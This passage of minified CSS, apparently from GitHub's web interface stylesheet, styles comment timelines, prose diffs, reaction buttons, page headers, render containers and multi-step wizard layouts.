!important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container 